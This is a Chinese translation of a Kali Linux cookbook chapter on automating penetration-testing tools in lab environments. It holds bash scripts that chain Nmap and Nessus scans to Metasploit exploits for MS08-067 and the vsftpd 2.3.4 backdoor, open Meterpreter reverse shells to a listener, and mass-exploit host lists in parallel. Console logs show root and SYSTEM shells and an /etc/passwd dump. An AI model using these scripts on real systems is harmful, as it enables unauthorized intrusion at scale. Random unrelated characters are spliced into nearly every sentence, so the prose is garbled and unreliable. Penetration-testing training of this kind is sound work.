第八章 自動(dòng)化 Kali 工具
作者:Justin Hutchens
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0
Kali Linux 滲透測試平臺提供了大量高效的工具蜗搔,來完成企業(yè)滲透測試中所需的大多數(shù)常見任務(wù)疗我。 然而,有時(shí)單個(gè)工具不足以完成給定的任務(wù)嗡午。 與構(gòu)建完全新的腳本或程序來完成具有挑戰(zhàn)性的任務(wù)相比堕义,編寫使用現(xiàn)有工具以及按需修改其行為的腳本通常更有效。 實(shí)用的本地腳本的常見類型包括用于分析或管理現(xiàn)有工具的輸出,將多個(gè)工具串聯(lián)到一起的腳本媳纬,或者必須順序執(zhí)行的多線程任務(wù)的腳本双肤。
8.1 的 Nmap greppable 輸出分析
Nmap 被大多數(shù)安全專業(yè)人員認(rèn)為是 Kali Linux 平臺中最流暢和有效的工具之一。 但是由于這個(gè)工具的驚人和強(qiáng)大的功能钮惠,全面的端口掃描和服務(wù)識別可能非常耗時(shí)茅糜。 在整個(gè)滲透測試中,不針對不同的服務(wù)端口執(zhí)行目標(biāo)掃描素挽,而是對所有可能的 TCP 和 UDP 服務(wù)執(zhí)行全面掃描蔑赘,然后僅在整個(gè)評估過程中引用這些結(jié)果,是一個(gè)更好的方法预明。 Nmap 提供了 XML 和 greppable 輸出格式來輔助這個(gè)過程缩赛。
理想情況下,你應(yīng)該熟悉這些格式撰糠,你可以從輸出文件中按需提取所需的信息酥馍。 但是作為參考,此秘籍會(huì)提供示例腳本窗慎,可用于提取標(biāo)識為在指定端口上運(yùn)行服務(wù)的所有 IP 地址物喷。
準(zhǔn)備
要使用本秘籍中演示的腳本,你需要使用 grepable 格式的 Nmap 輸出結(jié)果遮斥。 這可以通過執(zhí)行 Nmap 端口掃描并使用-oA
選項(xiàng)輸出所有格式峦失,或-oG
來專門輸出 greppable 格式來獲取。 在提供的示例中术吗,多個(gè)系統(tǒng)在單個(gè)/24
子網(wǎng)上掃描尉辑,這包括 Windows XP 和 Metasploitable2。 有關(guān)設(shè)置 Metasploitable2 的更多信息较屿,請參閱本書第一章中的“安裝 Metasploitable2”秘籍隧魄。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍隘蝎。 此外购啄,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息嘱么,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍狮含。
操作步驟
下面的示例演示了使用 bash 腳本語言甚至是 bash 命令行界面(CLI),從 Nmap 輸出的 greppable 格式中提取信息曼振,這十分簡單:
#! /bin/bash
if [ ! $1 ]; then echo "Usage: #./script <port #> <filename>";
exit; fi
port=$1
file=$2
echo "Systems with port $port open:"
grep $port $file | grep open | cut -d " " -f 2
為了確保你能理解腳本的功能几迄,我們將按順序?qū)γ恳恍羞M(jìn)行講解。 腳本的第一行只指向 bash 解釋器冰评,以便腳本可以獨(dú)立執(zhí)行映胁。 腳本的第二行是一個(gè)if ... then
條件語句,用于測試是否向腳本提供了任何參數(shù)甲雅。 這只是最小的輸入驗(yàn)證解孙,以確保腳本用戶知道工具的使用坑填。 如果工具在沒有提供任何參數(shù)的情況下執(zhí)行,腳本將echo
其使用的描述,然后退出。 使用描述會(huì)請求兩個(gè)參數(shù)辛臊,包括或端口號和文件名。
接下來的兩行將每個(gè)輸入值分配給更易于理解的變量蚪黑。 第一個(gè)輸入值是端口號,第二個(gè)輸入值是 Nmap 輸出文件中剩。 然后忌穿,腳本將檢查 Nmap greppable 輸出文件,來判斷指定端口號的服務(wù)上運(yùn)行了什么系統(tǒng)(如果有的話)结啼。
root@KaliLinux:~# ./service_identifier.sh Usage: #./script <port #> <filename>
當(dāng)你在沒有任何參數(shù)的情況下執(zhí)行腳本時(shí)掠剑,將輸出用法描述。 要使用腳本郊愧,我們需要輸入一個(gè)要檢查的端口號和 Nmap grepable 輸出文件的文件名朴译。 提供的示例在/ 24
網(wǎng)絡(luò)上執(zhí)行掃描,并使用文件名netscan.txt
生成 greppable 輸出文件属铁。 然后眠寿,該腳本用于分析此文件,并確定各個(gè)端口上的活動(dòng)服務(wù)中是否能發(fā)現(xiàn)任何主機(jī)焦蘑。
root@KaliLinux:~# ./service_identifier.sh 80 netscan.txt
Systems with port 80 open:
172.16.36.135
172.16.36.225
root@KaliLinux:~# ./service_identifier.sh 22 netscan.txt
Systems with port 22 open:
172.16.36.135
172.16.36.225 172.16.36.239
root@KaliLinux:~# ./service_identifier.sh 445 netscan.txt
Systems with port 445 open:
172.16.36.135
172.16.36.225
所展示的示例執(zhí)行腳本來判斷端口 80, 22 和 445 上所運(yùn)行的主機(jī)盯拱。腳本的輸出顯示正在評估的端口號,然后列出輸出文件中任何系統(tǒng)的IP地址例嘱,這些系統(tǒng)在該端口上運(yùn)行活動(dòng)服務(wù)狡逢。
工作原理
grep
是一個(gè)功能強(qiáng)大的命令行工具,可在 bash 中用于 從輸出或從給定文件中提取特定內(nèi)容拼卵。 在此秘籍提供的腳本中奢浑,grep
用于從 Nmap grepable 輸出文件中提取給定端口號的任何實(shí)例。 因?yàn)?code>grep函數(shù)的輸出包括多條信息腋腮,所以輸出通過管道傳遞到cut
函數(shù)雀彼,來提取 IP 地址,然后將其輸出到終端低葫。
8.2 使用指定 NSE 腳本的 Nmap 端口掃描
許多Nmap腳本引擎(NSE)的腳本僅適用于在指定端口上運(yùn)行的服務(wù)详羡。 考慮smb-check-vulns.nse
腳本的用法仍律。 此腳本將評估在 TCP 445 端口上運(yùn)行的 SMB 服務(wù)的常見服務(wù)漏洞嘿悬。 如果此腳本在整個(gè)網(wǎng)絡(luò)上執(zhí)行,則必須重新完成任務(wù)來確定端口 445 是否打開水泉,以及每個(gè)目標(biāo)系統(tǒng)上是否可訪問 SMB 服務(wù)善涨。 這是在評估的掃描階段期間可能已經(jīng)完成的任務(wù)窒盐。 Bash 腳本可以用于利用現(xiàn)有的 Nmap greppable 輸出文件來運(yùn)行服務(wù)特定的 NSE 腳本,它們只針對運(yùn)行這些服務(wù)的系統(tǒng)钢拧。 在本秘籍中蟹漓,我們將演示如何使用腳本來確定在先前掃描結(jié)果中運(yùn)行 TCP 445 上的服務(wù)的主機(jī),然后僅針對這些系統(tǒng)運(yùn)行smb-check-vulns.nse
腳本源内。
準(zhǔn)備
要使用本秘籍中演示的腳本葡粒,你需要使用 grepable 格式的 Nmap 輸出結(jié)果。 這可以通過執(zhí)行 Nmap 端口掃描并使用-oA
選項(xiàng)輸出所有格式膜钓,或-oG
來專門輸出 greppable 格式來獲取嗽交。 在提供的示例中,多個(gè)系統(tǒng)在單個(gè)/24
子網(wǎng)上掃描颂斜,這包括 Windows XP 和 Metasploitable2夫壁。 有關(guān)設(shè)置 Metasploitable2 的更多信息,請參閱本書第一章中的“安裝 Metasploitable2”秘籍沃疮。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息盒让,請參閱本書第一章中的“安裝 Windows Server”秘籍。 此外司蔬,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)邑茄。 有關(guān)編寫腳本的更多信息,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍俊啼。
操作步驟
下面的示例演示了如何使用 bash 腳本將多個(gè)任務(wù)串聯(lián)在一起撩扒。 這里,我們需要執(zhí)行 Nmap grepable 輸出文件的分析吨些,然后由該任務(wù)標(biāo)識的信息用于針對不同的系統(tǒng)執(zhí)行 Nmap NSE 腳本搓谆。 具體來說,第一個(gè)任務(wù)將確定哪些系統(tǒng)在 TCP 445 上運(yùn)行服務(wù)豪墅,然后針對每個(gè)系統(tǒng)執(zhí)行smb-check-vulns.nse
腳本泉手。
#! /bin/bash
if [ ! $1 ]; then echo "Usage: #./script <file>"; exit; fi
file=$1
for x in $(grep open $file | grep 445 | cut -d " " -f 2);
do nmap --script smb-check-vulns.nse -p 445 $x --scriptargs=unsafe=1;
done
為了確保你能理解腳本的功能,我們將按順序講解每一行偶器。 前幾行與上一個(gè)秘籍中討論的腳本類似斩萌。 第一行指向 bash 解釋器,第二行檢查是否提供參數(shù)屏轰,第三行將輸入值賦給易于理解的變量名颊郎。 腳本的正文有一定區(qū)分。 for
循環(huán)用于遍歷通過grep
函數(shù)獲取的 IP 地址列表霎苗。 從grep
函數(shù)輸出的 IP 地址列表對應(yīng)在 TCP 端口 445 上運(yùn)行服務(wù)的所有系統(tǒng)姆吭。然后對這些 IP 地址中的每一個(gè)執(zhí)行 Nmap NSE 腳本。 通過僅在先前已標(biāo)識為在 TCP 445 上運(yùn)行服務(wù)的系統(tǒng)上運(yùn)行此腳本唁盏,執(zhí)行 NSE 掃描所需的時(shí)間大大減少内狸。
root@KaliLinux:~# ./smb_eval.sh
Usage: #./script <file>
通過執(zhí)行不帶任何參數(shù)的腳本检眯,腳本將輸出用法描述。 該描述表明昆淡,應(yīng)當(dāng)提供現(xiàn)有 Nmap grepable 輸出文件的文件名锰瘸。 當(dāng)提供 Nmap 輸出文件時(shí),腳本快速分析文件來查找具有 TCP 445 服務(wù)的任何系統(tǒng)昂灵,然后在每個(gè)系統(tǒng)上運(yùn)行 NSE 腳本避凝,并將結(jié)果輸出到終端。
root@KaliLinux:~# ./smb_eval.sh netscan.txt
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT
Nmap scan report for 172.16.36.135
Host is up (0.00035s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:3D:84:32 (VMware)
Host script results:
| smb-check-vulns:
| Conficker: UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED).
|
| If you know the remote system is Windows, try rebooting it and scanning
|
|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
Nmap done: 1 IP address (1 host up) scanned in 5.21 seconds
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT
Nmap scan report for 172.16.36.225
Host is up (0.00041s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)
Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: NOT VULNERABLE
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds
在提供的示例中眨补,腳本會(huì)傳遞到netscan.txt
輸出文件恕曲。 對文件進(jìn)行快速分析后,腳本確定兩個(gè)系統(tǒng)正在端口445上運(yùn)行服務(wù)渤涌。然后使用smb-check-vulns.nse
腳本掃描每個(gè)服務(wù)佩谣,并在終端中生成輸出。
工作原理
通過提供grep
序列作為for
循環(huán)要使用的值实蓬,此秘籍中的 bash 腳本基本上只是循環(huán)遍歷該函數(shù)的輸出茸俭。 通過獨(dú)立運(yùn)行該函數(shù),可以看到它只提取對應(yīng)運(yùn)行 SMB 服務(wù)的主機(jī)的 IP 地址列表安皱。 然后调鬓,for
循環(huán)遍歷這些IP地址,并對每個(gè) IP 地址執(zhí)行 NSE 腳本酌伊。
8.3 使用 MSF 漏洞利用的 Nmap MSE 漏洞掃描
在某些情況下腾窝,開發(fā)一個(gè)將漏洞掃描與利用相結(jié)合的腳本可能會(huì)有所幫助。 漏洞掃描通常會(huì)導(dǎo)致誤報(bào)居砖,因此通過執(zhí)行漏洞掃描的后續(xù)利用虹脯,可以立即驗(yàn)證這些發(fā)現(xiàn)的正確性。 此秘籍使用 bash 腳本來執(zhí)行smb-check-vulns.nse
腳本奏候,來確定主機(jī)是否存在 MS08-067 NetAPI 漏洞循集,并且如果 NSE 腳本顯示如此,Metasploit 會(huì)用于 自動(dòng)嘗試?yán)盟鼇眚?yàn)證蔗草。
準(zhǔn)備
要使用本秘籍中演示的腳本咒彤,你需要使用 grepable 格式的 Nmap 輸出結(jié)果。 這可以通過執(zhí)行 Nmap 端口掃描并使用-oA
選項(xiàng)輸出所有格式咒精,或-oG
來專門輸出 greppable 格式來獲取镶柱。 在提供的示例中,多個(gè)系統(tǒng)在單個(gè)/24
子網(wǎng)上掃描模叙,這包括 Windows XP 和 Metasploitable2歇拆。 有關(guān)設(shè)置 Metasploitable2 的更多信息,請參閱本書第一章中的“安裝 Metasploitable2”秘籍。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息查吊,請參閱本書第一章中的“安裝 Windows Server”秘籍。 此外湖蜕,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)逻卖。 有關(guān)編寫腳本的更多信息,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍昭抒。
操作步驟
下面的示例演示了如何使用 bash 腳本將漏洞掃描和目標(biāo)利用的任務(wù)串聯(lián)到一起评也。 在這種情況下,smb-checkvulns.nse
腳本用于確定系統(tǒng)是否容易受到 MS08-067 攻擊灭返,然后如果發(fā)現(xiàn)系統(tǒng)存在漏洞盗迟,則對系統(tǒng)執(zhí)行相應(yīng)的 Metasploit 漏洞利用。
#! /bin/bash
if [ ! $1 ]; then echo "Usage: #./script <RHOST> <LHOST> <LPORT>";
exit; fi
rhost=$1
lhost=$2
lport=$3
nmap --script smb-check-vulns.nse -p 445 $rhost --scriptargs=unsafe=1 -oN tmp_output.txt
if [ $(grep MS08-067 tmp_output.txt | cut -d " " -f 5) = "VULNERABLE" ];
then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/ meterpreter/reverse_tcp RHOST=$rhost LHOST=$lhost LPORT=$lport E;
fi
rm tmp_output.txt
為了確保你能理解腳本的功能熙含,我們將按順序?qū)γ恳恍羞M(jìn)行講解罚缕。腳本中的前幾行與本章前面討論的腳本相同邮弹。第一行定義解釋器,第二行測試輸入腌乡,第三夜牡,第四和第五行都用于根據(jù)用戶輸入定義變量。在此腳本中急迂,提供的用戶變量對應(yīng) Metasploit 中使用的變量蹦肴。 RHOST
變量應(yīng)該定義目標(biāo)的 IP 地址,LHOST
變量應(yīng)該定義反向監(jiān)聽器的 IP 地址听盖,LPORT
變量應(yīng)該定義正在監(jiān)聽的本地端口裂七。然后腳本在正文中執(zhí)行的第一個(gè)任務(wù)是皆看,對目標(biāo)系統(tǒng)的 IP 地址執(zhí)行smb-check-vulns.nse
腳本,它由RHOST
輸入定義背零。然后腰吟,結(jié)果以正常格式輸出到臨時(shí)文本文件。然后,if ... then
條件語句與grep
函數(shù)結(jié)合使用毛雇,來測試輸出文件中是否有唯一的字符串嫉称,它表明系統(tǒng)存在漏洞。如果發(fā)現(xiàn)了唯一的字符串灵疮,則腳本會(huì)顯式系統(tǒng)看起來存在漏洞织阅,然后使用 Metasploit 框架命令行界面(MSFCLI)使用 Meterpreter 載荷執(zhí)行 Metasploit 漏洞利用。最后震捣,在加載漏洞利用后荔棉,使用rm
函數(shù)從文件系統(tǒng)中刪除 Nmap 臨時(shí)輸出文件。test_n_xploit.sh bash
命令執(zhí)行如下:
root@KaliLinux:~# ./test_n_xploit.sh
Usage: #./script <RHOST> <LHOST> <LPORT>
如果在不提供任何參數(shù)的情況下執(zhí)行腳本蒿赢,腳本將輸出相應(yīng)的用法润樱。 此使用描述顯示,該腳本應(yīng)以參數(shù)RHOST
羡棵,LHOST
和LPORT
執(zhí)行壹若。 這些輸入值將用于 Nmap NSE 漏洞掃描和(如果有保證)使用 Metasploit 在目標(biāo)系統(tǒng)上執(zhí)行利用。 在以下示例中皂冰,腳本用于確定 IP 地址為172.16.36.225
的主機(jī)是否存在漏洞舌稀。 如果系統(tǒng)被確定為存在漏洞,則會(huì)執(zhí)行利用灼擂,并連接到反向 TCP Meterpreter 處理器,該處理其在 IP 地址172.16.36.239
的 TCP 端口 4444 上監(jiān)聽系統(tǒng)睡腿。
root@KaliLinux:~# ./test_n_xploit.sh 172.16.36.225 172.16.36.239 4444
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:58 EDT
Nmap scan report for 172.16.36.225
Host is up (0.00077s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)
Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: NOT VULNERABLE
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds 172.16.36.225 appears to be vulnerable, exploiting with Metasploit...
[*] Please wait while we load the module tree...
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
PAYLOAD => windows/meterpreter/reverse_tcp
RHOST => 172.16.36.225
LHOST => 172.16.36.239
LPORT => 4444
[*] Started reverse handler on 172.16.36.239:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 172.16.36.225
[*] Meterpreter session 1 opened (172.16.36.239:4444 -> 172.16.36.225:1130) at 2014-04-10 05:58:30 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
上面的輸出顯示,在完成 Nmap NSE 腳本后挂捻,將立即執(zhí)行 Metasploit exploit 模塊并在目標(biāo)系統(tǒng)上返回一個(gè)交互式 Meterpreter shell。
工作原理
MSFCLI 是 MSF 控制臺的有效替代工具声怔,可用于直接從終端執(zhí)行單行命令醋火,而不是在交互式控制臺中工作柿冲。 這使得 MSFCLI 對于 bash shell 腳本中的使用是一個(gè)很好的功能。 因?yàn)榭梢詮?bash 終端執(zhí)行 NSE 腳本和 MSFCLI慨亲,所以可以輕松編寫 shell 腳本來將這兩個(gè)功能組合在一起。
8.4 使用 MSF 漏洞利用的 Nessuscmd 漏洞掃描
將 NSE 腳本和 Metasploit 利用結(jié)合到一起可以減輕工作量愚铡×ち龋可由 NSE 腳本測試的漏洞數(shù)量明顯小于可通過專用漏洞掃描程序(如 Nessus)評估的漏洞數(shù)量邑雅。 幸運(yùn)的是,Nessus 有一個(gè)名為 Nessuscmd 的命令行工具吹泡,也可以在 bash 中輕松訪問洞难。 該秘籍演示了如何將 Nessus 定向漏洞掃描與 MSF 自動(dòng)利用相結(jié)合來驗(yàn)證發(fā)現(xiàn)队贱。
準(zhǔn)備
為了使用此秘籍中演示的腳本露筒,你需要訪問運(yùn)行漏洞服務(wù)的系統(tǒng),該服務(wù)可以使用 Nessus 進(jìn)行標(biāo)識,并且可以使用 Metasploit 進(jìn)行利用癣防。 提供的示例在 Metasploitable2 服務(wù)器上使用 vsFTPd 2.3.4 后門漏洞。 有關(guān)設(shè)置 Metasploitable2 的更多信息级遭,請參閱本書第一章中的“安裝 Metasploitable2”秘籍挫鸽。
此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)枫匾。 有關(guān)編寫腳本的更多信息干茉,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍。
操作步驟
下面的示例演示了如何使用 bash 腳本撑蚌,將漏洞掃描和目標(biāo)利用的任務(wù)結(jié)合到一起粉楚。 在這種情況下,Nessuscmd 用于運(yùn)行 Nessus 插件燃异,測試 vsFTPd 2.3.4 后門回俐,以確定系統(tǒng)是否存在漏洞仅颇,然后如果發(fā)現(xiàn)系統(tǒng)存在漏洞搁廓,則對系統(tǒng)執(zhí)行相應(yīng)的 Metasploit 漏洞利用:
#! /bin/bash
if [ ! $1 ]; then echo "Usage: #./script <RHOST>"; exit; fi
rhost=$1
/opt/nessus/bin/nessuscmd -p 21 -i 55523 $rhost >> tmp_output.txt
if [ $(grep 55523 output.txt | cut -d " " -f 9) = "55523" ];
then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";
msfcli exploit/unix/ftp/vsftpd_234_backdoor PAYLOAD=cmd/unix/
interact RHOST=$rhost E;
fi
rm tmp_output.txt
腳本的開頭非常類似于漏洞掃描和利用腳本境蜕,它將 NSE 掃描與前一個(gè)秘籍中的 MSF 利用組合在一起粱年。但是趴泌,由于在此特定腳本中使用了不同的載荷嗜憔,因此用戶必須提供的唯一參數(shù)是RHOST
值夺鲜,該值應(yīng)該是目標(biāo)系統(tǒng)的 IP 地址币励。腳本的正文以執(zhí)行 Nessuscmd 工具開始。 -p
參數(shù)聲明正在評估的遠(yuǎn)程端口仅胞,-i
參數(shù)聲明插件號干旧。插件 55523 對應(yīng) VSFTPd 2.3.4 后門的 Nessus 審計(jì)挠将。 然后,Nessuscmd 的輸出重定向到一個(gè)名為tmp_output.txt
的臨時(shí)輸出文件镶蹋。如果目標(biāo)系統(tǒng)上存在此漏洞,則此腳本的輸出將僅返回插件 ID拂酣。所以下一行使用if ... then
條件語句結(jié)合grep
序列,來確定返回的輸出中的插件 ID埃撵。如果輸出中返回了插件ID饺谬,表明系統(tǒng)應(yīng)該存在漏洞募寨,那么將執(zhí)行相應(yīng)的 Metasploit 利用模塊。
root@KaliLinux:~# ./nessuscmd_xploit.sh
Usage: #./script <RHOST>
如果在不提供任何參數(shù)的情況下執(zhí)行腳本列肢,腳本將輸出相應(yīng)的用法。 此使用描述表示刻炒,應(yīng)使用RHOST
參數(shù)執(zhí)行腳本坟奥,它用于定義目標(biāo) IP 地址树瞭。 此輸入值將用于 Nessuscmd 漏洞掃描和(如果存在漏洞)使用 Metasploit 在目標(biāo)系統(tǒng)上執(zhí)行利用拇厢。 在以下示例中,腳本用于確定 IP 地址為172.16.36.135
的主機(jī)是否存在漏洞晒喷。 如果系統(tǒng)被確定為存在漏洞孝偎,則將執(zhí)行該利用,并自動(dòng)建立與后門的連接凉敲。
root@KaliLinux:~# ./nessuscmd_xploit.sh 172.16.36.135
172.16.36.135 appears to be vulnerable, exploiting with Metasploit...
[*] Initializing modules...
PAYLOAD => cmd/unix/interact
RHOST => 172.16.36.135
[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.16.36.232:48126 -> 172.16.36.135:6200) at 2014-04-28 00:29:21 -0400
whoami
root
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
**{TRUNCATED}**
因?yàn)?Nessuscmd 的輸出被重定向到臨時(shí)文件,而不是使用集成的輸出函數(shù)果复,所以沒有腳本返回的輸出來表明掃描成功迈窟,除了一個(gè)字符串用于指示系統(tǒng)看起來存在 Metasploit 試圖利用的漏洞躯肌。 一旦腳本執(zhí)行完畢拴袭,將在目標(biāo)系統(tǒng)上返回具有root
權(quán)限的交互式 shell。 為了演示這一點(diǎn),我們使用了whoami
和cat
命令觉渴。
工作原理
Nessuscmd 是 Nessus 漏洞掃描器中包含的命令行工具。 此工具可用于通過直接從終端執(zhí)行目標(biāo)掃描蹈丸,來掃描和評估不同插件的結(jié)果荸百。 因?yàn)樵摴ぞ撸ㄈ?MSFCLI)可以輕易從 bash 終端調(diào)用诞帐,所以我們很容易構(gòu)建一個(gè)腳本,將兩個(gè)任務(wù)串聯(lián)到一起,將漏洞掃描與利用相結(jié)合演熟。
8.5 使用反向 Shell 載荷的多線程 MSF 漏洞利用
使用 Metasploit 框架執(zhí)行大型滲透測試的一個(gè)困難座云,是每個(gè)利用必須按順序單獨(dú)執(zhí)行葵诈。 如果你想確認(rèn)大量系統(tǒng)中單個(gè)漏洞的可利用性,單獨(dú)利用每個(gè)漏洞的任務(wù)可能變得乏味授嘀。 幸運(yùn)的是逊拍,通過結(jié)合 MSFCLI 和 bash 腳本的功能骗露,可以通過執(zhí)行單個(gè)腳本禀崖,輕易在多個(gè)系統(tǒng)上同時(shí)執(zhí)行攻擊。 該秘籍演示了如何使用 bash 在多個(gè)系統(tǒng)中利用單個(gè)漏洞,并為每個(gè)系統(tǒng)打開一個(gè) Meterpreter shell宁改。
準(zhǔn)備
要使用此秘籍中演示的腳本鞋邑,你需要訪問多個(gè)系統(tǒng)陌宿,每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM椅亚,來生成 MS08-067 漏洞的三個(gè)實(shí)例限番。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍呀舔。 此外,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息媚赖,請參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍霜瘪。
操作步驟
下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例。 特別是惧磺,此腳本可用于通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:
#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file> <LHOST>";
exit; fi
iplist=$1
lhost=$2
i=4444
for ip in $(cat $iplist)
do
gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi
PAYLOAD=windows/meterpreter/reverse_tcp
RHOST=$ip LHOST=$lhost LPORT=$i E
echo "Exploiting $ip and establishing reverse connection on local port $i"
i=$(($i+1))
done
腳本使用for
循環(huán)颖对,對輸入文本文件中列出的每個(gè) IP 地址執(zhí)行特定任務(wù)。 該特定任務(wù)包括啟動(dòng)一個(gè)新的 GNOME 終端磨隘,該終端又執(zhí)行必要的msfcli
命令來利用該特定系統(tǒng)缤底,然后啟動(dòng)反向 TCP meterpreter shell。 因?yàn)?code>for循環(huán)為每個(gè) MSFCLI 漏洞啟動(dòng)一個(gè)新的 GNOME 終端番捂,每個(gè)都作為一個(gè)獨(dú)立的進(jìn)程執(zhí)行个唧。 以這種方式,多個(gè)進(jìn)程可以并行運(yùn)行设预,并且每個(gè)目標(biāo)將被同時(shí)利用徙歼。 本地端口值被初始化為 4444,并且對被利用的每個(gè)附加系統(tǒng)增加 1鳖枕,使每個(gè) meterpreter shell 連接到不同的本地端口魄梯。 因?yàn)槊總€(gè)進(jìn)程在獨(dú)立的 shell 中執(zhí)行,所以這個(gè)腳本需要從圖形桌面界面執(zhí)行宾符,而不是通過 SSH 連接執(zhí)行酿秸。 ./multipwn.sh bash shell
可以執(zhí)行如下:
root@KaliLinux:~# ./multipwn.sh
Usage: #./script <host file> <LHOST>
root@KaliLinux:~# ./multipwn.sh iplist.txt 172.16.36.239
Exploiting 172.16.36.132 and establishing reverse connection on local port 4444
Exploiting 172.16.36.158 and establishing reverse connection on local port 4445
Exploiting 172.16.36.225 and establishing reverse connection on local port 4446
如果在不提供任何參數(shù)的情況下執(zhí)行腳本,腳本將輸出相應(yīng)的用法魏烫。 該使用描述將表明辣苏,該腳本以定義監(jiān)聽 IP 系統(tǒng)的LHOST
變量,以及包含目標(biāo) IP 地址列表的文本文件的文件名來執(zhí)行则奥。 一旦以這些參數(shù)執(zhí)行考润,會(huì)開始彈出一系列新的終端。 這些終端中的每一個(gè)將運(yùn)行輸入列表中的 IP 地址之一的利用序列读处。 原始的執(zhí)行終端將在執(zhí)行時(shí)輸出進(jìn)程列表糊治。 所提供的示例利用了三個(gè)不同的系統(tǒng),并且為每個(gè)系統(tǒng)打開單獨(dú)的終端罚舱。其中一個(gè)終端的示例如下:
[*] Please wait while we load the module tree...
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
PAYLOAD => windows/meterpreter/reverse_tcp
RHOST => 172.16.36.225
LHOST => 172.16.36.239
LPORT => 4446
[*] Started reverse handler on 172.16.36.239:4446
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 172.16.36.225
[*] Meterpreter session 1 opened (172.16.36.239:4446 -> 172.16.36.225:1950) at 2014-04-10 07:12:44 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
每個(gè)終端啟動(dòng)單獨(dú)的 MSFCLI 實(shí)例并執(zhí)行利用井辜。 假設(shè)攻擊成功,會(huì)執(zhí)行載荷管闷,并且交互式 Meterpreter shell 將在每個(gè)單獨(dú)的終端中可用粥脚。
工作原理
